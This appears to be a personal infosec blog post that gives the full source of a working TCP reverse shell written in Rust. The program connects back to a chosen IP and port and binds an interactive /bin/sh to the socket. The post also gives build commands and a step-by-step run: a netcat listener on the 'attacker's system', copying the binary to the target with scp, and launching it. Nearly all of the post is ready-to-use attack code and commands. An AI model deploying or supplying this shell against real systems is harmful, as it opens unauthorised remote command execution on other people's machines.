Karmatr0n

Programming and Infosec for fun!

A TCP Reverse Shell with Rust

31 Jul 2022

A reverse shell, also known as a remote shell or “connect-back shell” is used to initiate a shell session and execute commands in a target system.

IPS

There are many examples available in different programming languages, or it is possible generating reverse shells with tools like meterpreter and the metasploit framework.

Furthermore, reverse shells can be implemented for any operating system and network protocols such as TCP, UDP, ICMP or over encrypted channels with SSL.

However, I’m going to use the Rust programming language and the cargo tool to generate a small program that can be executed as a TCP reverse shell in the target’s system. Additionally, this code can be compiled for most of the Unix flavors.

TCP Reverse Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
use std::env;
use std::fs::File;
use std::net::TcpStream;
use std::os::unix::io::{FromRawFd, RawFd};
use std::os::unix::prelude::AsRawFd;
use std::process::Command;

fn main() {
    let args: Vec<String> = env::args().collect();
    if args.len() < 2 {
        panic!("Usage: reverse_shell <IP> <PORT>");
    }

    let ip = &args[1];
    let port = &args[2];

    let tcp_stream = match TcpStream::connect(format!("{ip}:{port}")) {
        Err(why) => panic!("Connection error: {why}"),
        Ok(tcp_stream) => tcp_stream,
    };

    let raw_fd: RawFd = tcp_stream.as_raw_fd();

    let mut rev_shell = match Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { File::from_raw_fd(raw_fd) })
        .stdout(unsafe { File::from_raw_fd(raw_fd) })
        .stderr(unsafe { File::from_raw_fd(raw_fd) })
        .spawn()
    {
        Err(why) => panic!("Error: {why}"),
        Ok(child) => child,
    };

    match rev_shell.wait() {
        Err(why) => panic!("Error: {why}"),
        Ok(exit_status) => exit_status,
    };
}

How to compile the code

1
2
cargo build --release
cargo install

*Note: if you require to compile the code from a unix flavor to run in another one, please follow the Rust cross-compilation instructions.

How to test the TCP Reverse Shell

1 Run a TCP server listening on the 4321 port in the attacker’s system.

1
2
    netcat -l -s 10.10.10.1 -p 4321
  

2 Copy the reverse shell program to the target’s system.

1
2
    scp reverse_shell demo@10.10.10.2:
  

3 Run the reverse_shell from the target’s system

1
2
    ./reverse_shell  10.10.10.1 4321
  

4 The TCP server will receive a shell session in the attacker’s system.

I hope you have enjoyed this small piece of code and have happy weekend.

References